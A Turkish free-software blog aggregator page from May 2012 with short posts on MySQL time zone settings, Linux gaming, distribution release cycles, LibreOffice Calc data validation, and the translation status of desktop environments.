Bu yazıya konu olan “Avrupa Birliği’nde Yoksullukla Mücadele ve Türkiye’nin Uyum Sürecindeki Yeni Uygulamalar” konulu tezimin bu yazı ve e-dergi’nin bu sayısına özel sürümünü http://bluzz.net/tezim adresinde bulabilirsiniz.

Merkalıları için Bağlantılar:

1-Libreoffice (http://tr.libreoffice.org)

2-OpenOffice.org(http://www.openoffice.org.tr)

3-Zotero, (www.zotero.org)

4-Okular, (http://tr.pardus-wiki.org/Okular )

5-BasKet, (http://tr.pardus-wiki.org/BasKet)

6-Knotes, (http://tr.pardus-wiki.org/KNotes)

7-Nepomuk, (http://nepomuk.semanticdesktop.org/)

İlgili Diğer Başlıklar:

MySQL Server Time Zone Değişikliği

2012-05-08T20:36:46+00:00

MySQL sunucusu başladığı zaman time zone olarak sistem saatini kullanır ve system_time_zone değişkenine atar. Bir nedenden ötürü MySQL’in zaman bilgisini sisteminkinden farklı bir time zone’a atamanız gerekirse bu işlemi global ve per-connection olmak üzere iki farklı şekilde yapabilirsiniz.

Global time zone MySQL sunucusunun default zaman bilgisini set ederken, per-connection time zone ise sadece ilgili session için zaman bilgisinin atanmasını sağlar; yani per-connection time zone özelliğini kullanarak aynı MySQL sunucusu üzerinde birden fazla uygulama için farklı zone’lar tanımlanabilir.

Devamini okuyun: MySQL Server Time Zone Değişikliği

Cagri Ersen tarafından Syslogs adresinde yayınlandı. | Permalink | Etiketler: database, Databases, tips

Oyun Devleri Linux’a Geliyor!

2012-05-08T19:26:05+00:00

Senelerdir Linux'un kanayan yarasıdır oyun konusu. Evet Linux çok sağlam bir sunucu işletim sistemi olabilir, çok etkileyici bir masaüstü işletim sistemi olabilir, cep telefonundan modemlerimize kadar her cihaza girmiş olabilir ama Linux'ta oyun oynanmaz! Arkadaşlarınıza "bakın böyle bir işletim sistemi var, her işinizi görüyor, hem de ücretsiz" diye çok güzel reklamını yapabilirsiniz ama arkadaşınız en fazla 48 saate kadar "ama bunda x/y/z oyununu oynayamıyorum ki?" diyip geldiği yere geri döner. Bu arkadaşlarınıza WINE ara katmanından söz edebilirsiniz ama arkadaşınızın istediği oyunlar kötü bir olasılıkla ya performanssız çalışır, ya da hiç çalışmazlar.

Devamını Oku...

3 Ayda, 6 Ayda Bir Güncellenen Linux Dağıtımları Hakkında

2012-05-08T17:53:12+00:00

Linux dağıtımları için "3 ayda bir yeni sürümü çıkan işletim sistemi" diyorlar. Yazının devamında niçin böyle bir ihtiyaç duyulduğunu okuyacaksınız.

Devamını Oku...

Kontrolsüz güç güç değildir

2012-05-07T14:21:14+00:00

Günlük yazmayalı epey zaman olmuş. Bu zaman içerisinde bilmediğim ve benim yeni öğrendiğim şeyleri bilmeyen başka insanlar da olabileceğini düşünerek bir günlük yazmam gerektiğini hatırladım. Girizgah biraz öğretmenlerin öğüdünü tutmaya çalışan ama bir türlü defter başına oturamayıp günlük yazamayan, hatta önceki sayfalara baktığınızda da hep aynı girişle başlayan sayfalar görebileceğiniz günlük sahiplerinininkine benzedi.

Geçenlerde (geçenlerde diyerek 1-2 hafta öncesini değil de birkaç ay öncesini kastediyorum aslında) Libreoffice ile ilgili doküman hazırlarken daha önceki ofis kullanımlarımda ihtiyacım olmayan ve bilmediğim bir özellik çıktı karşıma: “Geçerlilik”. Karşılaşmadığım dediğime bakmayın. Aslında sürekli karşılaşılan bir kavram “Geçerlilik” ve Libreoffice’in Calc uygulamasındaki “Geçerlilik” ten pek de farklı değil. Mesela, atm’deki şifre alanlarının karakter sınırlaması ya da web sitelerinde yer alan üye formlarındaki e-posta alanları. Örneğin; e-posta alanlarında içerisinde [at] işareti bulunmayan e-postalar geçersiz kabul edilir (Tabii ki de başka kontrollerde yapılıyor ancak konudan sapmayalım). Bazı bankalar 4 karakterli şifreler kabul eder yalnızca. Bu karakter sayısından fazla veya eksik bir şifre belirleyemezsiniz; “GEÇERSİZ” sayılır. Bu gibi kontrolleri hücrelere de uygulayabiliriz ve bunu da “Veri geçerliliğini denetleme” diye adlandırabiliriz.

Veri geçerliliğini denetlemek için, ölçüt ve ölçütün geçerli olmaması durumunda nasıl bir eylem uygulanacağını belirlemek gerekir. Ölçüt belirlerken bir hücreye girilecek verinin yalnızca tarih biçiminde, sayı biçiminde veya metin biçiminde olması belirlenebilir. Ayrıca metnin ve sayının uzunluğunun ya da tarih aralığının hangi değerler arasında olacağı gibi sınırlamalar getirebiliriz. Böylece istenilen ölçütler dışında bir veri girildiğinde kullanıcıya bir uyarı mesajı gönderilebilir, koşulları sağlamayan verilerin hücrelere yazılması engellenebilir. Yahut ölçütlere uymayan bir veri girişinde bir makro çalıştırılabilir.

Veri geçerliliğini denetlemek için menüden, Veri >> Geçerlilik yolunu kullanabilirsiniz. Buradan “Ölçütler” sekmesinden gerekli ölçütü, “Hata iletisi” sekmesinden ise uygulanacak eylemi seçebilirsiniz. Unutmayın ki yaptığınız işlemler o anki seçili hücrelere uygulanacaktır.

İyi kontroller:)

Hangi Masaüstü Ne Kadar Türkçe Konuşuyor? -4-

2012-05-06T19:35:38+00:00

Bir yazılıma Türkçe desteği vermek meslekten bilişimci olmayanların da kolaylıkla yapabilecekleri bir şey. Bu konu hakkında yazmak en azından çeviri üzerindeki ilginin azalmamasını sağlamaya yarıyor. Eski yazılarıma [1], [2] ve [3] adreslerinden bakabilirsiniz.

Bugün biraz daha ayrıntılı inceleyelim durumumuzu:

KDE: Arayüz çeviri oranı %77.78, belgelendirme çevirileri ise sadece %3.
GNOME: Arayüz çeviri oranı %88, belgelendirme çevirilerinde oran %0.
LXDE: Arayüz ve belgelendirme ayrımı yok. Çeviri oranı %100.
Enlightenment: Arayüz ve belgelendirme ayrımı yok. Çeviri oranı %100.
Fluxbox: Arayüz ve belgelendirme ayrımı yok. Çeviri oranı %100.
XFCE: Arayüz ve belgelendirme ayrımı yok. Çeviri oranı %100.

Büyük masaüstü ortamları aslında iyi durumda değiller. KDE ve GNOME sürekli geliştirilen ve bu yüzden çevirilerinin güncel tutulması için düzenli çaba gerektiren projeler. XFCE ve LXDE için sadece yeni sürümlerden önce sıkı bir çalışma yeterli oluyor. Enlightenment ve Fluxbox uzun süredir yeni sürümü çıkmayan projeler.

Belgelendirmelerin çevirileri konusunda ne kadar kötü durumda olduğumuzu söylemeye gerek yok aslında. KDE ve GNOME için belgelendirme çevirisi neredeyse hiç yapılmamış duruyor. Arayüz kadar önemli olan belgelendirmelerin çevirileri olmayınca yabancı dil bilmeyen insanlara bu masaüstlerini kullandırmanın ne kadar zor olduğu ortada.

LibreOffice'deki durumumuz da şöyle: Arayüzün %100'ü, belgelendirmelerin ise %46'sı Türkçeye çevirilmiş durumda. Kullanıcının ilk karşılaştığı şey arayüz olsa da belgelendirmenin tamamen Türkçe olması her işletim sisteminde çalışabilen bir özgür ofis paketi olan LibreOffice'in yaygınlığını mutlaka arttıracaktır. Zeki Bildirici'nin bu konuda neredeyse tek başına yürüttüğü çalışmalara nasıl destek verebileceğinizi buradan okuyabilirsiniz.

Yapacağınız küçük katkıları küçümsemeyin. Bir kişi fark yaratır.